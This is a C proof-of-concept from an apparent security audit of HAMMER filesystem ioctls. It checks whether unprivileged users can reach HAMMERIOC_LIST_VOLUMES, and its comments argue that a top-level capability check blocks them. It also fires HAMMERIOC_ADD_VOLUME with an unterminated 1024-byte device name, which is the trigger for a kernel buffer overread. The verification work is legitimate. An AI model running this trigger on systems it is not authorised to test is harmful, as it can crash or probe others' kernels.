/*
 * DF-0870 PoC: probe HAMMER volume ioctls (LIST_VOLUMES / ADD_VOLUME)
 * from the calling cred to test the finding's "unprivileged access" claim.
 *
 * The finding (DF-0870) claims that HAMMERIOC_LIST_VOLUMES is reachable by
 * ANY user because hammer_ioctl.c:213 has no per-case caps_priv_check,
 * unlike ADD (line 197) / DEL (line 207).  This PoC verifies the actual
 * reachability by issuing the ioctls on a file on a live HAMMER mount and
 * printing the resulting errno.
 *
 * Source trace (sys/vfs/hammer/hammer_ioctl.c):
 *   72:  error = caps_priv_check(cred, SYSCAP_NOVFS_IOCTL);   <-- TOP LEVEL,
 *                                                             applies to ALL
 *                                                             cases including
 *                                                             LIST_VOLUMES.
 *   213: case HAMMERIOC_LIST_VOLUMES:                         <-- no per-case
 *          error = hammer_ioc_volume_list(...)                   re-check, but
 *                                                                the top-level
 *                                                                check at :72
 *                                                                already ran.
 *
 * caps_priv_check() (sys/kern/kern_caps.c:328) returns EPERM unless
 * cr_uid==0 OR the capability bit __SYSCAP_NOROOTTEST (0x00040000) is set
 * OR (WHEELOK is set AND caller is in group 0).  SYSCAP_NOVFS_IOCTL is
 * (__SYSCAP_GROUP_9 | 4) == 0x94, which has NEITHER NOROOTTEST NOR WHEELOK
 * -> unprivileged uid != 0 callers (maxx, uid 1001, no wheel) get EPERM
 * before they ever reach the LIST_VOLUMES case.
 *
 * Usage: ./poc <file-on-hammer-mount>
 *   Print: each ioctl's errno (EPERM = blocked at caps_priv_check,
 *          ENOTTY = not a HAMMER file, 0 = succeeded).
 */

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/param.h>

/* Hammer ioctl headers (userland mirror of the kernel struct). */
#include <vfs/hammer/hammer_ioctl.h>

int main(int argc, char **argv)
{
    const char *path;
    int fd, rc;

    if (argc != 2) {
        fprintf(stderr, "usage: %s <file-on-hammer-mount>\n", argv[0]);
        return 2;
    }
    path = argv[1];

    printf("== Running as uid=%d euid=%d gid=%d\n",
           getuid(), geteuid(), getgid());
    printf("== Opening %s\n", path);

    fd = open(path, O_RDWR);
    if (fd < 0) {
        printf("open failed: %s (errno=%d)\n", strerror(errno), errno);
        return 1;
    }

    /* ----- 1. HAMMERIOC_LIST_VOLUMES ----- */
    {
        struct hammer_ioc_volume_list vl;
        struct hammer_ioc_volume outbuf[8];

        memset(&vl, 0, sizeof(vl));
        memset(outbuf, 0xee, sizeof(outbuf));   /* poison to spot writes */
        vl.vols = outbuf;
        vl.nvols = 8;

        errno = 0;
        rc = ioctl(fd, HAMMERIOC_LIST_VOLUMES, &vl);
        printf("HAMMERIOC_LIST_VOLUMES: rc=%d errno=%d (%s) nvols=%d\n",
               rc, errno, strerror(errno), vl.nvols);
        if (rc == 0) {
            int i;
            printf("--- VOLUME LIST OUTPUT (privileged leak surface) ---\n");
            for (i = 0; i < vl.nvols; i++) {
                printf("  [%d] vol_no=%d device_name='", i, outbuf[i].vol_no);
                /* Print bytes until NUL or end of buffer, hexdump the rest. */
                {
                    int j;
                    for (j = 0; j < (int)sizeof(outbuf[i].device_name) &&
                                 outbuf[i].device_name[j]; j++)
                        putchar(outbuf[i].device_name[j] ?: '.');
                }
                printf("' len=%zu\n", strlen(outbuf[i].device_name));
            }
        }
    }

    /* ----- 2. HAMMERIOC_ADD_VOLUME with non-NUL-terminated device_name ----- */
    /*
     * This is the actual trigger the finding describes: fill device_name with
     * 1024 non-NUL bytes so strlen() in kstrdup() walks past the buffer.
     * We attempt it to show what the cred check does.
     */
    {
        struct hammer_ioc_volume v;
        memset(&v, 0xFF, sizeof(v));        /* poison the whole struct */
        memset(v.device_name, 'A', MAXPATHLEN);  /* NO NUL terminator */
        v.head.flags = 0;
        v.vol_size = 0;
        v.boot_area_size = 0;
        v.memory_log_size = 0;

        errno = 0;
        rc = ioctl(fd, HAMMERIOC_ADD_VOLUME, &v);
        printf("HAMMERIOC_ADD_VOLUME (non-NUL device_name): rc=%d errno=%d (%s)\n",
               rc, errno, strerror(errno));
    }

    close(fd);
    return 0;
}
